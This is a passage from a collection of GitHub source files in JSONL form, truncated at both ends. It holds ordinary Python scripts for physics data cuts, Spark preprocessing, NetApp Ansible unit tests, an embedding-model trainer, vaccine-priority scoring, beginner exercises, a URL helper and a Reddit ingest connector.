root_file[tree_name].extend(data)\n\n\ndef perform_cuts(data, cut_branches, cuts):\n \"\"\"\n Perform the specified cuts on a dataset\n\n Data should be a dict of {branchname: data}\n\n branches should be an iterable of tuples that the cuts apply to\n\n e.g. to perform a cut that needs to know about Dstar and D0 mass, call something like\n perform_cuts(data, [(\"Dstar_M\", \"D0_M\")], [my_cut_fcn])\n\n \"\"\"\n print(f\"Performing cuts using:\")\n for branch_tuple, function in zip(cut_branches, cuts):\n print(\"\\t\" + f\"{function.__name__}{branch_tuple}\")\n\n # Delete data from our datasets according to our cuts\n num_datapoints = len(data[cut_branches[0][0]])\n num_cuts = len(cuts)\n\n # This isn't optimised\n # Need to have an ordered list of our indices, as we will want to remove in the order highest->lowest when it comes to actually performing the cuts\n indices_to_remove = []\n for i in range(num_datapoints):\n for cut in range(num_cuts):\n cut_args = tuple(data[arg][i] for arg in cut_branches[cut])\n if i not in indices_to_remove:\n if not cuts[cut](*cut_args):\n indices_to_remove.append(i)\n\n print(f\"Removing {len(indices_to_remove)} events of {num_datapoints}...\")\n\n for i in data:\n # Iterate through our indices in descending order so we don't accidentally skip any values\n for index in np.flip(indices_to_remove):\n # This is likely HUGELY slow, since numpy arrays are immutable and so we copy the entire array after each delete probably\n data[i] = np.delete(data[i], index)\n\n print(f\"After cuts: {len(data[cut_branches[0][0]])} data points\")\n\n\ndef read_root_branches(input_file, decay_tree, branches):\n \"\"\"\n Read the provided ROOT branches into numpy arrays or something\n\n Returns a dict of arrays i guess\n\n \"\"\"\n tree = uproot.open(input_file)[decay_tree]\n\n # If branches not provided then just use all of them\n read_branches = branches\n if not branches:\n read_branches = [branch.decode(\"utf-8\") for branch in tree.allkeys()]\n\n data = tree.arrays(read_branches, namedecode=\"utf-8\")\n\n # Uproot currently only supports writing using\n # int8, float64, float32, int32, int64, bool or int16\n # i.e. cannot handle unsigned things\n for key in data:\n if np.dtype(type(data[key][0])).kind == \"u\":\n raise NotImplementedError(\n f\"\\nWill be unable to write branch {key} of type {type(data[key][0])}\\n\"\n \"Writing unsigned integers to file currently unsupported by uproot.\\n\"\n \"I might add a feature to cast unsigned->signed branches if needed\"\n )\n\n return data\n\n\ndef cut_functions(cuts_lib):\n \"\"\"\n From our cuts module, identify the functions and arguments needed to perform cuts\n\n Returns a tuple of cut functions and tuple of tuples of their arguments\n\n \"\"\"\n\n # Find the functions in our module that start with 'cut'\n cut_names = tuple(\n getattr(cuts_lib, cut) for cut in dir(cuts_lib) if cut.startswith(\"cut\")\n )\n\n # For these cuts, find the string representation of their arguments\n cut_args = tuple(tuple(inspect.getfullargspec(cut).args) for cut in cut_names)\n\n return cut_names, cut_args\n\n\ndef cli():\n \"\"\"\n Argument parsing; returns an argparse ArgumentParser object\n\n \"\"\"\n parser = argparse.ArgumentParser(\n description=\"Cutting unwanted data from a ROOT file. Cuts provided by a user-provided cuts module\"\n )\n parser.add_argument(\"in_file\", help=\"ROOT file to read\")\n parser.add_argument(\"cuts_module\", help=\"Python module defining cuts\")\n parser.add_argument(\n \"--out_file\",\n help=\"File to write to, defaults to 'out.root'\",\n default=\"out.root\",\n )\n parser.add_argument(\n \"--decay_tree\",\n help=\"Decay Tree object to read, defaults to TupleDstToD0pi_D0ToKpipipi/DecayTree for no reason\",\n default=\"TupleDstToD0pi_D0ToKpipipi/DecayTree\",\n )\n parser.add_argument(\n \"--out_tree\",\n help=\"Tree to write to; Uproot does not currently support subdirectories so this can't be nested\",\n default=\"myTree\",\n )\n\n return parser.parse_args()\n\n\ndef main(args):\n # Find our cut functions and the arguments they take\n cuts_lib = importlib.import_module(args.cuts_module)\n cut_fcns, cut_args = cut_functions(cuts_lib)\n\n # If no branch name is provided in the config module, set the branches variable to None\n # The read function will know to just read all branches\n try:\n branches = cuts_lib.BRANCHES\n except AttributeError:\n branches = None\n data = read_root_branches(args.in_file, args.decay_tree, branches)\n\n # Perform the cuts and write to our output file\n perform_cuts(data, cut_args, cut_fcns)\n write_root_file(data, args.out_file, args.out_tree)\n\n\nif __name__ == \"__main__\":\n main(cli())\n","repo_name":"richard-lane/dk3pi","sub_path":"lhcbMonteCarlo/tools/cuts/cutParser.py","file_name":"cutParser.py","file_ext":"py","file_size_in_byte":5782,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"} +{"seq_id":"15969820518","text":"from pyspark.sql import SparkSession\r\nfrom pyspark.ml.feature import StringIndexer, OneHotEncoder, VectorAssembler, StandardScaler\r\nfrom pyspark.sql.functions import col\r\n\r\n# Initialize Spark session\r\nspark = SparkSession.builder.appName(\"DataPipeline\").getOrCreate()\r\n\r\n# Load the data from GCS\r\ntrain_data_path = \"gs://bdp_cw2_bucket/train.csv\"\r\ntest_data_path = \"gs://bdp_cw2_bucket/test.csv\"\r\ndf_train = spark.read.format(\"csv\").option(\"header\", \"true\").load(train_data_path)\r\ndf_test = spark.read.format(\"csv\").option(\"header\", \"true\").load(test_data_path)\r\n\r\n# Convert columns to double data type\r\ndf_train = df_train.withColumn(\"battery_power\", col(\"battery_power\").cast(\"double\"))\r\ndf_train = df_train.withColumn(\"clock_speed\", col(\"clock_speed\").cast(\"double\"))\r\ndf_train = df_train.withColumn(\"ram\", col(\"ram\").cast(\"double\"))\r\ndf_train = df_train.withColumn(\"mobile_wt\", col(\"mobile_wt\").cast(\"double\"))\r\n\r\n# Convert columns to double data type for df_test\r\ndf_test = df_test.withColumn(\"battery_power\", col(\"battery_power\").cast(\"double\"))\r\ndf_test = df_test.withColumn(\"clock_speed\", col(\"clock_speed\").cast(\"double\"))\r\ndf_test = df_test.withColumn(\"ram\", col(\"ram\").cast(\"double\"))\r\ndf_test = df_test.withColumn(\"mobile_wt\", col(\"mobile_wt\").cast(\"double\"))\r\n\r\n# Standard scaling of numeric features\r\n# Define the columns to be scaled\r\ncolumns_to_scale = ['battery_power', 'clock_speed', 'ram', 'mobile_wt']\r\n\r\n# Assemble the features into a vector column\r\nassembler = VectorAssembler(inputCols=columns_to_scale, outputCol='features')\r\ndf_train_assembled = assembler.transform(df_train)\r\ndf_test_assembled = assembler.transform(df_test)\r\n\r\n# Create a StandardScaler object\r\nscaler = StandardScaler(inputCol='features', outputCol='scaled_features')\r\n\r\n# Fit and transform the scaler\r\nscaler_model = scaler.fit(df_train_assembled)\r\ndf_train_scaled = scaler_model.transform(df_train_assembled)\r\ndf_test_scaled = scaler_model.transform(df_test_assembled)\r\n\r\n# Encoding categorical features\r\n# Categorical columns to be encoded\r\ncategorical_columns = ['blue', 'dual_sim', 'four_g', 'three_g', 'touch_screen', 'wifi']\r\n\r\n# Apply StringIndexer for categorical columns\r\nindexers = [StringIndexer(inputCol=column, outputCol=column + '_index') for column in categorical_columns]\r\nindexer_models = [indexer.fit(df_train_scaled) for indexer in indexers]\r\ndf_train_indexed = df_train_scaled\r\ndf_test_indexed = df_test_scaled\r\n\r\n# Transform data using the trained indexers\r\nfor model in indexer_models:\r\n df_train_indexed = model.transform(df_train_indexed)\r\n df_test_indexed = model.transform(df_test_indexed)\r\n\r\n# Apply OneHotEncoder for indexed categorical columns\r\nencoders = [OneHotEncoder(inputCol=column + '_index', outputCol=column + '_encoded') for column in categorical_columns]\r\nencoder_models = [encoder.fit(df_train_indexed) for encoder in encoders]\r\ndf_train_encoded = df_train_indexed\r\ndf_test_encoded = df_test_indexed\r\n\r\n# Transform data using the trained encoders\r\nfor model in encoder_models:\r\n df_train_encoded = model.transform(df_train_encoded)\r\n df_test_encoded = model.transform(df_test_encoded)\r\n\r\n# Store the preprocessed data in Parquet format\r\npreprocessed_train_path = \"gs://bdp_cw2_bucket/data/preprocessed_train.parquet\"\r\npreprocessed_test_path = \"gs://bdp_cw2_bucket/data/preprocessed_test.parquet\"\r\ndf_train_encoded.write.mode(\"overwrite\").parquet(preprocessed_train_path)\r\ndf_test_encoded.write.mode(\"overwrite\").parquet(preprocessed_test_path)\r\n\r\nfrom pyspark.sql import functions as F\r\n# Example query: Calculate average RAM by price range\r\naverage_ram_by_price = df_train_encoded.groupBy('price_range').agg(F.avg('ram').alias('avg_ram'))\r\n\r\n\r\n\r\n\r\n# Query: Calculate the average screen height and width by price range\r\naverage_screen_size_by_price = df_train_encoded.groupBy('price_range').agg( F.avg('sc_h').alias('avg_screen_height'), F.avg('sc_w').alias('avg_screen_width'))\r\n\r\n\r\n\r\nimport matplotlib.pyplot as plt\r\nimport seaborn as sns\r\n# Select the numerical columns for correlation analysis\r\nnumerical_columns = ['battery_power', 'ram', 'px_height', 'px_width']\r\n# Calculate the correlation matrix\r\ncorrelation_matrix = df_train_encoded.select(numerical_columns).toPandas().corr()\r\n# Visualization: Heatmap of the correlation matrix\r\n\r\nplt.figure(figsize=(10, 8))\r\nsns.heatmap(correlation_matrix, annot=True, cmap='coolwarm', linewidths=0.5)\r\n\r\nplt.title('Correlation Heatmap')\r\n\r\nplt.show()\r\n\r\n\r\n# Visualization: Bar plot of price range distribution\r\nprice_range_distribution = df_train_encoded.groupBy('price_range').count().orderBy('price_range')\r\nprice_range_distribution = price_range_distribution.toPandas()\r\nplt.figure(figsize=(8, 6))\r\nsns.barplot(x='price_range', y='count', data=price_range_distribution, palette='coolwarm')\r\nplt.title('Price Range Distribution')\r\nplt.xlabel('Price Range')\r\nplt.ylabel('Count')\r\nplt.show()\r\n","repo_name":"Faisal-Malook/Big-Data-Platform","sub_path":"BDP/bdp_visual.py","file_name":"bdp_visual.py","file_ext":"py","file_size_in_byte":4888,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"} +{"seq_id":"30308593920","text":"from __future__ import (absolute_import, division, print_function)\n__metaclass__ = type\n\nimport pytest\nimport sys\n\nfrom ansible.module_utils import basic\n# pylint: disable=unused-import\nfrom ansible_collections.netapp.ontap.tests.unit.plugins.module_utils.ansible_mocks import create_module, expect_and_capture_ansible_exception, patch_ansible\nfrom ansible_collections.netapp.ontap.tests.unit.framework.rest_factory import rest_error_message, rest_responses\nfrom ansible_collections.netapp.ontap.tests.unit.framework.mock_rest_and_zapi_requests import patch_request_and_invoke, register_responses\nimport ansible_collections.netapp.ontap.plugins.module_utils.netapp as netapp_utils\n\nfrom ansible_collections.netapp.ontap.plugins.module_utils import rest_vserver\n\n\nif not netapp_utils.HAS_REQUESTS and sys.version_info < (2, 7):\n pytestmark = pytest.mark.skip('Skipping Unit Tests on 2.6 as requests is not available')\n\n\n# REST API canned responses when mocking send_request\nSRR = rest_responses({\n 'svm_uuid': (200, {\"records\": [{\"uuid\": \"test_uuid\"}], \"num_records\": 1}, None),\n})\n\n\nDEFAULT_ARGS = {\n 'hostname': 'test',\n 'username': 'test_user',\n 'password': 'test_pass!',\n 'cert_filepath': None,\n 'key_filepath': None,\n}\n\n\nclass MockONTAPModule:\n def __init__(self):\n self.module = basic.AnsibleModule(netapp_utils.na_ontap_host_argument_spec())\n\n\ndef create_restapi_object(default_args, module_args=None):\n module = create_module(MockONTAPModule, default_args, module_args)\n return netapp_utils.OntapRestAPI(module.module)\n\n\ndef test_successfully_get_vserver():\n register_responses([\n ('GET', 'svm/svms', SRR['svm_uuid']),\n ('GET', 'svm/svms', SRR['zero_records']),\n ])\n rest_api = create_restapi_object(DEFAULT_ARGS)\n assert rest_vserver.get_vserver(rest_api, 'svm_name') == ({'uuid': 'test_uuid'}, None)\n assert rest_vserver.get_vserver(rest_api, 'svm_name') == (None, None)\n\n\ndef test_negative_get_vserver():\n register_responses([\n ('GET', 'svm/svms', SRR['generic_error']),\n ])\n rest_api = create_restapi_object(DEFAULT_ARGS)\n assert rest_vserver.get_vserver(rest_api, 'svm_name') == (None, rest_error_message('', 'svm/svms'))\n\n\ndef test_successfully_get_vserver_uuid():\n register_responses([\n ('GET', 'svm/svms', SRR['svm_uuid']),\n ('GET', 'svm/svms', SRR['zero_records']),\n ])\n rest_api = create_restapi_object(DEFAULT_ARGS)\n assert rest_vserver.get_vserver_uuid(rest_api, 'svm_name') == ('test_uuid', None)\n assert rest_vserver.get_vserver_uuid(rest_api, 'svm_name') == (None, None)\n\n\ndef test_negative_get_vserver_uuid():\n register_responses([\n ('GET', 'svm/svms', SRR['generic_error']),\n ('GET', 'svm/svms', SRR['generic_error']),\n ('GET', 'svm/svms', SRR['zero_records']),\n ('GET', 'svm/svms', SRR['zero_records']),\n ])\n rest_api = create_restapi_object(DEFAULT_ARGS)\n assert rest_vserver.get_vserver_uuid(rest_api, 'svm_name') == (None, rest_error_message('', 'svm/svms'))\n assert expect_and_capture_ansible_exception(rest_vserver.get_vserver_uuid, 'fail', rest_api, 'svm_name', rest_api.module)['msg'] ==\\\n rest_error_message('Error fetching vserver svm_name', 'svm/svms')\n assert rest_vserver.get_vserver_uuid(rest_api, 'svm_name', error_on_none=True) == (None, 'vserver svm_name does not exist or is not a data vserver.')\n assert expect_and_capture_ansible_exception(rest_vserver.get_vserver_uuid, 'fail', rest_api, 'svm_name', rest_api.module, error_on_none=True)['msg'] ==\\\n 'Error vserver svm_name does not exist or is not a data vserver.'\n","repo_name":"ansible-collections/netapp.ontap","sub_path":"tests/unit/plugins/module_utils/test_rest_vserver.py","file_name":"test_rest_vserver.py","file_ext":"py","file_size_in_byte":3637,"program_lang":"python","lang":"en","doc_type":"code","stars":41,"dataset":"github-code","pt":"35"} +{"seq_id":"31019536741","text":"from typing import List\nimport torch.nn.functional as F\nimport torch.nn as nn\nfrom torch.utils.data import Dataset, DataLoader\nimport torch\nfrom sentence_transformers import SentenceTransformer, util\nimport pickle\nimport pandas as pd\nfrom sklearn.neighbors import NearestNeighbors\n\nEMBEDDING_SIZE = 512\n\nEPOCHS = 150\nBATCH_SIZE = 64\nDEVICE = \"cpu\"\nDROPOUT = 0.5\n\n\nclass Layer(nn.Module):\n def __init__(self, in_features, out_features, activation=\"relu\") -> None:\n super().__init__()\n assert activation in {\"relu\", \"norm\"}\n self.batch_norm = nn.BatchNorm1d(in_features)\n self.dropout = nn.Dropout(DROPOUT)\n self.linear = nn.Linear(in_features, out_features)\n if activation == \"relu\":\n self.activation = nn.ReLU()\n elif activation == \"norm\":\n self.activation = self.normalise_embedding\n\n def normalise_embedding(self, emb: torch.Tensor) -> torch.Tensor:\n emb_norm = (\n torch.norm(emb, p=2, dim=1).unsqueeze(dim=1).expand_as(emb)\n )\n return emb.div(emb_norm)\n \n def forward(self, x: torch.Tensor) -> torch.Tensor:\n if x.shape[0] > 1:\n normed = self.batch_norm(x)\n else:\n normed = x\n dropped = self.dropout(normed)\n linear_out = self.linear(dropped)\n out = self.activation(linear_out)\n return out\n\n\nclass SentenceEmbedder(nn.Module):\n def __init__(self):\n super().__init__()\n self.pretrained = SentenceTransformer('all-MiniLM-L6-v2')\n for param in self.pretrained.parameters():\n param.requires_grad = False\n self.linear_1 = Layer(384, 384)\n self.linear_2 = Layer(384, EMBEDDING_SIZE)\n self.linear_3 = Layer(EMBEDDING_SIZE, EMBEDDING_SIZE, activation=\"norm\")\n\n def trainable_parameters(self) -> List[nn.Parameter]:\n return sum(map(list, [self.linear_1.parameters(), self.linear_2.parameters(), self.linear_3.parameters()]), [])\n\n def forward(self, sentences):\n out_1 = self.pretrained.encode(sentences, convert_to_tensor=True).to(DEVICE)\n out_2 = self.linear_1(out_1)\n out_3 = self.linear_2(out_2)\n out_4 = self.linear_3(out_3)\n return out_4\n \n def save(self):\n pickle.dump(self, open(\"sentence_embedder.pickle\", \"wb\"))\n\n \nclass PhraseDataset(Dataset):\n def __init__(self):\n self.genre_series = pd.read_csv(open(\"genres.csv\", \"r\"), header=None)[0]\n self.genre_embeddings = pickle.load(open(\"genre_embeddings.pickle\", \"rb\"))\n self.keyword_series = pd.read_csv(open(\"keywords.csv\", \"r\"), header=None)[0]\n self.keyword_embeddings = pickle.load(open(\"keyword_embeddings.pickle\", \"rb\"))\n\n self.phrases = pd.concat([self.genre_series, self.keyword_series]).reset_index()[0]\n self.embeddings = torch.cat([self.genre_embeddings.weight.data, self.keyword_embeddings.weight.data])\n\n def __len__(self):\n return len(self.embeddings)\n\n def __getitem__(self, x):\n name = self.phrases[x]\n embedding: torch.Tensor = self.embeddings[x]\n return name, embedding.to(DEVICE)\n\n\nmodel = SentenceEmbedder().to(DEVICE)\noptimizer = torch.optim.Adam(model.trainable_parameters(), lr=0.001)\n\ndataset = PhraseDataset()\nloader = torch.utils.data.DataLoader(dataset, batch_size=4, shuffle=True)\ntest_loader = torch.utils.data.DataLoader(dataset, batch_size=1, shuffle=False)\n\nfor epoch in range(EPOCHS):\n print(f\"Epoch {epoch}\")\n model.train()\n loss_counter = []\n for i, (genre_names, genre_embeddings) in enumerate(loader):\n optimizer.zero_grad()\n output = model(genre_names)\n output = F.dropout(output, p=DROPOUT)\n genre_targets = genre_embeddings * (output != 0)\n loss = torch.mean(1 - F.cosine_similarity(output, genre_embeddings))\n loss.backward()\n optimizer.step()\n loss_counter.append(loss.item())\n print(f\" - Avg Loss {sum(loss_counter)/len(loss_counter):.3f}\")\n\n if epoch % 10 == 0:\n model.eval()\n nbrs = NearestNeighbors(n_neighbors=16, algorithm='ball_tree').fit(dataset.embeddings)\n scores = []\n for genre_name, _ in test_loader:\n output = model(genre_name)\n _, indices = nbrs.kneighbors(output.detach().to(\"cpu\"))\n knn_genres = set(dataset.phrases[indices[0]])\n if genre_name[0] in knn_genres:\n scores.append(1)\n else:\n scores.append(0)\n print(f\" - Test Score {sum(scores)/len(scores):.3f}\")\n\nmodel.save()","repo_name":"iamadamsrepository/movie","sub_path":"train_llm.py","file_name":"train_llm.py","file_ext":"py","file_size_in_byte":4559,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"} +{"seq_id":"970864841","text":"\"\"\"\r\nAuthors: Connor Finch (cmf) and Eric Hsu (eh)\r\n\"\"\"\r\n\r\nfrom geopy.geocoders import Nominatim\r\nfrom geopy.distance import great_circle\r\n\r\n\r\n\"\"\"\r\nThis function takes in a given user's address and a list of \r\nvaccine provider addresses that are in the same state as the user.\r\nIt calculates the closest vaccine provider to the user and returns\r\nthe name, address, and distance from that provider to the user. \r\nAuthors: cmf and eh\r\n\"\"\"\r\n\r\ndef distance(user_address, vaccine_addresses):\r\n geolocator = Nominatim(user_agent=\"myGeocoder\")\r\n user_location = geolocator.geocode(user_address)\r\n user_coordinates = (user_location.latitude, user_location.longitude)\r\n\r\n min_dist = -1\r\n name = None\r\n full_address = None\r\n for vaccine_address in vaccine_addresses:\r\n vaccine_location = geolocator.geocode(vaccine_address.address)\r\n vaccine_coordinates = (vaccine_location.latitude, vaccine_location.longitude)\r\n\r\n new_dist = great_circle(user_coordinates, vaccine_coordinates).miles\r\n if new_dist < min_dist or min_dist == -1:\r\n min_dist = new_dist\r\n name = vaccine_address.name\r\n full_address = vaccine_address.full_address\r\n\r\n return f\"{name}:{full_address}:{round(min_dist,2)} miles\"\r\n\r\n\r\n\"\"\" \r\nHow old is the user? The older they're, the higher the priority.\r\nAuthor: cmf \r\n\"\"\"\r\ndef age(user_age):\r\n if user_age >= 75:\r\n return 15\r\n elif user_age >= 65:\r\n return 14\r\n elif user_age >= 60:\r\n return 4\r\n elif user_age >= 50:\r\n return 3\r\n elif user_age >= 40:\r\n return 2\r\n elif user_age >= 16:\r\n return 1\r\n else:\r\n return 0\r\n\r\n\r\n\"\"\" \r\nIs the user a healthcare worker or first responder?\r\nAuthor: cmf \r\n\"\"\"\r\ndef job(user_job):\r\n if user_job.lower()[0] == \"y\":\r\n return 50\r\n else:\r\n return 0\r\n\r\n\r\n\"\"\" \r\nDoes the user have prexisting health conditions? \r\nAuthor: cmf \r\n\"\"\"\r\ndef health(user_health):\r\n if user_health.lower()[0] == \"y\":\r\n return 9\r\n else:\r\n return 0\r\n\r\n\r\n\"\"\" \r\nThe greater the number the greater user's priority \r\nof getting a vaccination will be. \r\nAuthor: cmf \r\n\"\"\" \r\ndef priority(num):\r\n if num >= 50:\r\n return \"First\"\r\n elif num >= 15:\r\n return \"Second\"\r\n elif num >= 14:\r\n return \"Third\"\r\n elif num >= 13:\r\n return \"Fourth\"\r\n elif num >= 5:\r\n return \"Fifth\"\r\n elif num >= 4:\r\n return \"Sixth\"\r\n elif num >= 3:\r\n return \"Seventh\"\r\n elif num >= 2:\r\n return \"Eigth\"\r\n elif num >= 1:\r\n return \"Ninth\"\r\n else:\r\n return \"Tenth\"","repo_name":"Connduit/CIS422_Proj1","sub_path":"Database/sorting_system.py","file_name":"sorting_system.py","file_ext":"py","file_size_in_byte":2625,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"} +{"seq_id":"23168438147","text":"# 2. Ordinal Suffix2\n# Write an ordinal suffix program with an integer input named number and output a \n# string of the number with its ordinal suffix.\n\nsufix=[\"th\",\"st\",\"nd\",\"rd\"]\nnumber=int(input(\"date to be converted into ordinal numeral \"))\ncheck=number%10\nif check>=4:\n check=0\n \nif number==11:\n print(\"11th\")\nelif number==12:\n print(\"12th\")\nelif number==13:\n print(\"13th\")\nelse:\n print(str(number)+sufix[check])","repo_name":"Livia-Zaharia/HOMEWORK","sub_path":"week-2023-01-16/2_ordinal_suf.py","file_name":"2_ordinal_suf.py","file_ext":"py","file_size_in_byte":435,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"} +{"seq_id":"21603920616","text":"from gearbox.migrations import Migration\n\nclass AddTableCLIErrorCode(Migration):\n\n database = \"star\"\n\n def up(self):\n t = self.table('CLIErrorCode', area=\"Schema Area\", label=\"CLIErrorCode\", dump_name=\"clierror\", desc=\"Contains the errorcodes\")\n t.column('ErrCode', 'integer', format=\"999\", initial=\"0\", help=\"Error code\", max_width=4, label=\"Errorcode\", column_label=\"Errorcode\", position=2, order=10, description=\"Errorcodes for the responsefile\")\n t.column('ErrMsg', 'character', format=\"X(50)\", initial=\"\", help=\"Error message\", max_width=100, label=\"Errormessage\", column_label=\"Errormessage\", position=3, order=20, description=\"Explains the errorcode\")\n t.column('Action', 'character', format=\"X(40)\", initial=\"\", help=\"Action\", max_width=80, label=\"Action\", column_label=\"Action\", position=4, order=30, description=\"Action to be taken if error occurs\")\n t.index('ErrCode', [['ErrCode']], area=\"Schema Area\", primary=True, unique=True)\n\n def down(self):\n self.drop_table('CLIErrorCode')\n","repo_name":"subi17/ccbs_new","sub_path":"db/progress/migrations/0444_add_table_star_clierrorcode.py","file_name":"0444_add_table_star_clierrorcode.py","file_ext":"py","file_size_in_byte":1044,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"35"} +{"seq_id":"8015845816","text":"'''\nEscribir un programa que pida un numero al usuario y muestre las tablas de multiplicar de ese numero\n'''\nuserInput = int(input(\"Ingresa un numero para saber su tabla: \"))\ni = 0\nresult = 0\n\nwhile i <= 10:\n result = userInput * i\n print(\"{} x {} = {}\".format(userInput, i, result))\n i += 1\n","repo_name":"smanaure93/cursopython","sub_path":"10.Bucles/2.Ejercicio1.py","file_name":"2.Ejercicio1.py","file_ext":"py","file_size_in_byte":301,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"20036371740","text":"import json\nimport re\nfrom typing import NamedTuple, Dict, Any, Union\nfrom urllib import parse\n\nfrom prompy.networkio import http_constants as _http\nfrom prompy.promio import encodio\n\n_url_pattern = re.compile(\n r'(https?)://([\\w.]*)(:\\d*)?([/\\w.]*)\\??([\\w/=&\\-+]*)#?([\\w-]*)')\n_content_type_detect_re = re.compile('charset=(.*)')\n\n\ndef encode_url_params(url: str, params: Dict[str, Any]) -> str:\n data = parse.urlencode(params)\n return f\"{url}?{data}\"\n\n\ndef default_content_mapper(content_type: str, content: bytes,\n encoding: str=None):\n \"\"\"\n Default mapper for :py:func:`url_call`\n\n :param content_type: support `application/json`,`text/html`,`text/plain`\n :param content: to deserialize\n :param encoding: charset from the content-type\n :return: deserialized content if possible\n \"\"\"\n if not encoding:\n info = encodio.detect(content)\n encoding = info.encoding\n\n if _http.CONTENT_TYPE_JSON in content_type:\n return json.loads(content, encoding=encoding)\n if any(x in content_type for x in (\n _http.CONTENT_TYPE_PLAIN, _http.CONTENT_TYPE_HTML)):\n return content.decode(encoding)\n return content\n\n\ndef detect_content_charset(content_type):\n encoding = _content_type_detect_re.search(content_type)\n if encoding:\n return encoding.group(1)\n\n\ndef json_headers(encoding='utf-8'):\n return {\n _http.CONTENT_TYPE: f'{_http.CONTENT_TYPE_JSON}; charset={encoding}',\n }\n\n\nclass Url:\n def __init__(self, url):\n r = _url_pattern.search(url)\n if not r:\n raise TypeError(f'Not a valid url -- {url}')\n groups = r.groups()\n\n self.url = url\n self.protocol: str = groups[0]\n self.host: str = groups[1]\n port = groups[2]\n self.port: int = int(port[1:]) if port else None\n self.path: str = groups[3]\n self._params: str = groups[4]\n self.tag: str = groups[5]\n\n @property\n def params(self):\n return self._params\n\n @params.setter\n def params(self, value: Union[str, dict]):\n if isinstance(value, str):\n self._params = value\n else:\n self._params = parse.urlencode(value)\n\n\nclass UrlCallResponse(NamedTuple):\n url: str\n content_type: str\n content: str\n status: int\n headers: dict\n msg: str\n reason: str\n charset: str\n\n\nclass UrlCallResponse2:\n def __init__(self, url: str,\n content_type: str,\n content: str, status: int,\n headers: dict,\n msg: str='', reason: str='', charset: str=''):\n self.url = url\n self.content_type = content_type\n self.content = content\n self.status = status\n self.headers = headers\n self.msg = msg\n self.reason = reason\n self.charset = charset\n","repo_name":"T4rk1n/prompy","sub_path":"prompy/networkio/url_tools.py","file_name":"url_tools.py","file_ext":"py","file_size_in_byte":2867,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"72617642991","text":"# Fish Class\nfrom graphics import *\n#from Button import *\nimport random\n#from Shark import *\n\n#We use a constructor to begin our class, and define everything in our class\nclass Fish:\n\n def __init__(self, pos, win):\n\n#We then made our self x and y points = to the positions of x and y\n self.x = pos[0]\n self.y = pos[1]\n\n#To draw my image in the grid, we multiplied x by 20, so it would be \n#to scale of the grid. We did this same thing for y, we also added 10 to both, to\n#make sure each image was located in the exact center of a square.We then draw it.\n self.I = Image(Point(self.x*20+10, self.y*20+10),\"fishImage.png\")\n self.I.draw(win) \n\n#To define the movement for the fish, we passed it through self,and\n#we wanted to have the fish move left by 1, so\n#we added 1 to the x value, and set the change in x to that 1, and 0 for y\n# Then, we used the move method, and multiplied the change in x and y by 20\n#to bring it to scale of the grid\n def move(self):\n \n self.x = self.x + 1\n deltaX = 1\n deltaY = 0\n self.I.move(20*deltaX, 20*deltaY)\n\n\n\n '''self.I = Image(Point(self.pos2[0], self. pos2[1], \"fishImage.png\")\n self.fishBody2.draw(win)\n\n self.fishBody3 = Image(Point(self.pos3[0], self. pos3[1], \"fishImage.png\")\n self.fishBody3.draw(win)\n\n listOfPosition.append(self.fishBody1, self.fishBody2, self.fishBody3)'''\n\n\n \n\n \n \n\n \n \n\n \n\n\n \n \n\n \n \n\n\n \n \n","repo_name":"rileybenjamin-meyer/SleepingCoffeeWorker","sub_path":"Fish.py","file_name":"Fish.py","file_ext":"py","file_size_in_byte":1538,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"31344935375","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Fri Jan 31 23:01:01 2020\r\n\r\n@author: Dell\r\n\"\"\"\r\n\r\nimport os\r\nfor filename in os.listdir():\r\n if filename.endswith('.tif'):\r\n os.unlink(filename)\r\n print(filename)\r\n\r\n\r\n","repo_name":"sinchubhat/MiniProject6thSem","sub_path":"Deletetif.py","file_name":"Deletetif.py","file_ext":"py","file_size_in_byte":226,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"38"} +{"seq_id":"71952789870","text":"import json\nimport os\nfrom dataclasses import dataclass, field\nfrom pathlib import Path\nfrom typing import TYPE_CHECKING, Optional\n\nfrom unstructured.ingest.interfaces import (\n BaseConnector,\n BaseConnectorConfig,\n BaseIngestDoc,\n)\nfrom unstructured.ingest.logger import logger\nfrom unstructured.utils import requires_dependencies\n\nif TYPE_CHECKING:\n from praw.models import Submission\n\n\n@dataclass\nclass SimpleRedditConfig(BaseConnectorConfig):\n subreddit_name: str\n client_id: str\n client_secret: str\n user_agent: str\n search_query: str\n num_posts: int\n\n # Standard Connector options\n download_dir: str\n # where to write structured data\n output_dir: str\n preserve_downloads: bool = False\n re_download: bool = False\n download_only: bool = False\n metadata_include: Optional[str] = None\n metadata_exclude: Optional[str] = None\n partition_by_api: bool = False\n partition_endpoint: str = \"https://api.unstructured.io/general/v0/general\"\n fields_include: str = \"element_id,text,type,metadata\"\n flatten_metadata: bool = False\n\n def __post_init__(self):\n if self.num_posts <= 0:\n raise ValueError(\"The number of Reddit posts to fetch must be positive.\")\n\n\n@dataclass\nclass RedditIngestDoc(BaseIngestDoc):\n config: SimpleRedditConfig = field(repr=False)\n post: \"Submission\"\n\n @property\n def filename(self) -> Path:\n return (Path(self.config.download_dir) / f\"{self.post.id}.md\").resolve()\n\n def _output_filename(self):\n return Path(self.config.output_dir) / f\"{self.post.id}.json\"\n\n def _create_full_tmp_dir_path(self):\n self.filename.parent.mkdir(parents=True, exist_ok=True)\n\n def cleanup_file(self):\n \"\"\"Removes the local copy of the file (or anything else) after successful processing.\"\"\"\n if not self.config.preserve_downloads and not self.config.download_only:\n logger.debug(f\"Cleaning up {self}\")\n os.unlink(self.filename)\n\n def get_file(self):\n \"\"\"Fetches the \"remote\" doc and stores it locally on the filesystem.\"\"\"\n self._create_full_tmp_dir_path()\n if not self.config.re_download and self.filename.is_file() and self.filename.stat():\n logger.debug(f\"File exists: {self.filename}, 